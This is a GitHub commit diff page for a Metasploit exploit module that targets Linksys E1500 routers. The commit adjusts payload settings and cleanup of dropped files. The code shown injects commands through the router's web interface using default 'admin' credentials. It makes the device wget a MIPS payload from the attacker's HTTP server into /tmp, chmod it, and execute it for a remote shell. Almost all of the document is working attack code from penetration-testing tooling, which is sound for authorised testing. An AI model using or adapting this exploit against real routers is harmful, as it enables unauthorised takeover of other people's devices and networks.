Skip to content

Commit 0164cc3

Browse files
author
m-1-k-3
committed
msftidy, generate exe, register_file_for_cleanup
1 parent cfeddf3 commit 0164cc3

File tree

1 file changed

+39
-19
lines changed

1 file changed

+39
-19
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 39 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::HttpClient
1414
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
1517

1618
def initialize(info = {})
1719
super(update_info(info,
@@ -39,13 +41,32 @@ def initialize(info = {})
3941
'Arch' => ARCH_CMD,
4042
'Platform' => 'unix',
4143
#only payload cmd/unix/generic should be possible
44+
'Payload' =>
45+
{
46+
'Compat' =>
47+
{
48+
#not working :(
49+
'PayloadType' => 'cmd',
50+
'RequiredCmd' => 'generic'
51+
}
52+
},
4253
}
4354
],
4455
[ 'Linux Payload',
4556
{
4657
'Arch' => ARCH_MIPSLE,
4758
'Platform' => 'linux',
4859
'DisableNops' => true,
60+
#only mipsel payloads working ...
61+
'Payload' =>
62+
{
63+
'Compat' =>
64+
{
65+
#not working :(
66+
'PayloadType' => 'mipsle',
67+
'RequiredCmd' => 'shell'
68+
}
69+
},
4970
}
5071
],
5172
],
@@ -59,7 +80,7 @@ def initialize(info = {})
5980
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
6081
OptString.new('DOWNHOST', [ false, 'The host to request the MIPS payload from' ]),
6182
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
62-
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]),
83+
OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine (do not use 0.0.0.0)' ]),
6384
], self.class)
6485
end
6586

@@ -130,17 +151,14 @@ def exploit
130151
end
131152

132153
if target.name =~ /CMD/
154+
133155
cmd = payload.encoded
134156
request(cmd,user,pass,uri)
157+
135158
else
136159
#lets get some shells ...
137160

138-
# We must regenerate the payload-> not sure if this is the right way
139-
arch = "ARCH_MIPSLE"
140-
plat = "linux"
141-
p = exploit_regenerate_payload(plat, arch)
142-
143-
@pl = p.encoded_exe
161+
@pl = generate_payload_exe
144162

145163
#
146164
# start our server
@@ -150,7 +168,7 @@ def exploit
150168
if (datastore['DOWNHOST'])
151169
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
152170
else
153-
#easy way ... do not use SSL ;)
171+
#do not use SSL ;)
154172
if datastore['SSL']
155173
ssl_restore = true
156174
datastore['SSL'] = false
@@ -169,32 +187,34 @@ def exploit
169187
end
170188

171189
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
172-
190+
173191
#this filename is used to store the payload on the device
174192
filename = rand_text_alpha_lower(8)
175-
193+
register_file_for_cleanup("/tmp/#{filename}")
194+
195+
#not working if we send all command together -> lets take three requests
176196
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
177-
197+
178198
request(cmd,user,pass,uri)
179-
199+
180200
#
181201
# chmod
182202
#
183-
203+
184204
cmd = "chmod 777 /tmp/#{filename}"
185-
205+
186206
print_status("#{rhost}:#{rport} - Asking the Linksys device to prepare #{downfile}")
187-
207+
188208
request(cmd,user,pass,uri)
189-
209+
190210
#
191211
# execute
192212
#
193-
213+
194214
cmd = "/tmp/#{filename}"
195-
215+
196216
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
197-
217+
198218
request(cmd,user,pass,uri)
199219
end
200220

0 commit comments

Comments
 (0)